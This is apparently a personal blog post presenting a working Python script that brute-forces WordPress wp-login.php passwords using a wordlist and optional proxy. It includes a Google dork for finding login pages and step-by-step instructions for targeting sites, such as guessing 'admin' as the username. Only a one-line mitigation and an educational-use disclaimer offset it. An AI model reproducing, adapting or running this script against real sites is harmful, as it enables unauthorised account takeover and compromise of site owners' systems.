WordPress Brute Force Attack Script

|

The information provided on davidxia.com is to be used for educational purposes only. I’m not responsible for any misuse of this information. The following is meant to help you develop a cracking defensive attitude to prevent such attacks. In no way should you use this information to cause any kind of damage directly or indirectly.

I started writing a Python script for brute forcing WordPress’ login page. Then I found this script by PuRiCeL. I modified it a bit.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
#!/usr/bin/python
# WordPress Brute Force (wp-login.php)
# originally from http://rstcenter.com/forum/31831-%5Bpython%5D-wordpress-brute-force.rst
# example usage: nohup python wp-brute.py <site> <user> <wordlist> -verbose&

# If cookies enabled brute force will not work (yet)
# Change response on line 97 if needed. (language)

# Dork: inurl:wp-login.php

import urllib2
import sys
import re
import urllib
import httplib
import socket


if len(sys.argv) not in [4,5,6,7]:
    print 'Usage: python wordpressbf.py <site> <user> <wordlist> <options>\n'
    print '\t   -p/-proxy <host:port> : Add proxy support'
    print '\t   -v/-verbose : Verbose Mode\n'
    sys.exit(1)

for arg in sys.argv[1:]:
    if arg.lower() == '-p' or arg.lower() == '-proxy':
        proxy = sys.argv[int(sys.argv[1:].index(arg))+2]
    if arg.lower() == '-v' or arg.lower() == '-verbose':
        verbose = 1

try:
    if proxy:
        print '\n * Testing Proxy...'
        h2 = httplib.HTTPConnection(proxy)
        h2.connect()
        print '* Proxy:', proxy

except(socket.timeout):
    print '\n[-] Proxy Timed Out'
    proxy = 0
except(NameError):
    print '\n[-] Proxy Not Given'
    proxy = 0
except:
    print '\n[-] Proxy Failed'
    proxy = 0

try:
   if verbose == 1:
      print '* Verbose Mode On\n'

except(NameError):
    print '[-] Verbose Mode Off\n'
    verbose = 0

if sys.argv[1][:7] != 'http://':
    host = 'http://' + sys.argv[1]
else:
    host = sys.argv[1]

print '* BruteForcing:', host

print '* User:', sys.argv[2]


try:
    words = open(sys.argv[3], 'r').readlines()
    print '* Words Loaded:', len(words), '\n'

except(IOError):
    print '[-] Error: Check your wordlist path\n'
    sys.exit(1)

for word in words:
    word = word.replace('\r','').replace('\n','')
    login_form_seq = [
        ('log', sys.argv[2]),
        ('pwd', word),
        ('rememberme', 'forever'),
        ('wp-submit', 'Login >>'),
        ('redirect_to', 'wp-admin/')]
    login_form_data = urllib.urlencode(login_form_seq)
    if proxy != 0:
        proxy_handler = urllib2.ProxyHandler({'http': 'http://'+proxy+'/'})
        opener = urllib2.build_opener(proxy_handler)
    else:
        opener = urllib2.build_opener()
    try:
        site = opener.open(host, login_form_data).read()
    except(urllib2.URLError), msg:
        print msg
        site = ''

    if re.search('WordPress requires Cookies', site):
        print '[-] Failed: WordPress has cookies enabled\n'
        sys.exit(1)

    #Change this response if different. (language)
    if re.search('<strong>ERROR</strong>',site) and verbose == 1:
        print '[-] Login Failed:', word
    else:
        print '\n\t[!] Login Successfull:', sys.argv[2],word,'\n'
        sys.exit(1)

print '\n[-] Brute Complete\n'

And here’s an example wordlist.

Here’s how to use the script.

  1. Find the login url. It usually ends in wp-login.php. You can Google dork it with inurl:wp-login.php
  2. Guess a valid username. “admin” is a common one. Variations on the name of the webmaster might also work.
  3. Run python wp-brute.py

This brute force attack only works on self-hosted WordPress sites. Those hosted on wordpress.com will lock you out if you try too many times. Step 2 above is possible because WordPress shows different error messages for invalid usernames and invalid passwords. This basic security flaw lets crackers know what usernames are valid.

Here are ways to prevent WordPress from getting hacked:

1
add_filter('login_errors',create_function('$a', "return null;"));